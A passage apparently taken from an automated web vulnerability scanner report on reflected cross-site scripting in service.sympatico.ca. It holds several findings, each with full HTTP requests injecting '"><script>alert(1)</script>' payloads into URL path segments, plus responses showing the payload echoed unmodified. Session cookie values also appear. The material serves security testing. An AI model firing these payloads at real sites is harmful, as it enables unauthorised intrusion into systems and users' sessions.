t%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C7b32b"><script>alert(1)</script>4347033c69a/images/icons/vi_topNavInternet.png" />
...[SNIP]...

2.155. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79220"><script>alert(1)</script>edecdb0bbd5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images79220"><script>alert(1)</script>edecdb0bbd5/icons/vi_topNavInternet.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:26 GMT
Connection: close
Set-Cookie: SMSESSION=PXjPja9a02sCTowh01Re+rNMTUM/u9ThxeTvFQc5qCqlbhOFDsroD7vdFSBSiFZeqZQFJxoxfyeZYeng/s56gG8yGjjGRTAGF0sOy8g0g2K1k5VoY+JBdvdat+067WD207ULEAA4hARr/zGo2DrieNsvSE5hbWZzNOp1vJxBHxPuHO0qV0RUzRZJ94f9qPOVlfw0xhGsDTTUwTUnds8FepLlOSz2wqf5G2N33VONEZgN/YI510FtRMuX3FlE1uDrI9rZ3zi6c4IkmcbeYmAE5oh2X4lBtOYP+jpbINOUvIrTy6kNeCafXQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:26 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:26 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:26 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:26 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:26 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:26 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images79220"><script>alert(1)</script>edecdb0bbd5/icons/vi_topNavInternet.png" />
...[SNIP]...

2.156. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d119"><script>alert(1)</script>0cf994ea289 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons5d119"><script>alert(1)</script>0cf994ea289/vi_topNavInternet.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:29 GMT
Connection: close
Set-Cookie: SMSESSION=tu4IRw9LnepO7j7GnD4USPp67c7ipS1632Xv57lEFERSwr3uzD9fGW84EhnkXoHgDu64c1uRGPp2A8cAAkb22sIC/fur2uu98aQBv9Pf0xsgQ7HD+kaGDi9CWnyqNfy++GyyIzwREf8jiDMBpwc0F7MHedVfSbUKNEdZ8ssPR+S9l7i1nQEVxYmgPSkAq/FEaKBpCyxejzL/FR65QixxbwXk3DUMRXFtZ+eqTxpYHimurxfsuzgTUcU0mLeEXDicPjuiSlGUyhD68lSsvwpd2Lm6pT5V3vZ8uaVFHBlaNGQf2FjWXlPesQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons5d119"><script>alert(1)</script>0cf994ea289/vi_topNavInternet.png" />
...[SNIP]...

2.157. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abbde"><script>alert(1)</script>cfbbba3213e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.pngabbde"><script>alert(1)</script>cfbbba3213e HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:30 GMT
Connection: close
Set-Cookie: SMSESSION=24IZXWQBcvEgGMaxzCSVJlGIoQAM+Fv7SVeHva8/eRf1qt9gkb1dg7V+zfUcWa7iUIKKVAaxxgg/dUUPy9bP4CdfEgFuopOJ5GPUR1OChF1/o6GGIa3IvgThe+3ExPV74ao6U9WFekEdR5PjNEIPCe7QgfiTrXbxQSr2ehPN4o+a+mjVGCVp3/w4fzRLM/95/Gae2ejzdpR7IgQjEGekySnWUOHfb/XAuLVgKI/DThfvOLkIyv6n4gt4jQ2OLsd0OhPTUPjxuC7NNE2gifGPlVUnaKNXdWcyl2c3/XFHdpOT2KSR2qKQyQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:31 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:31 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:31 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:31 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
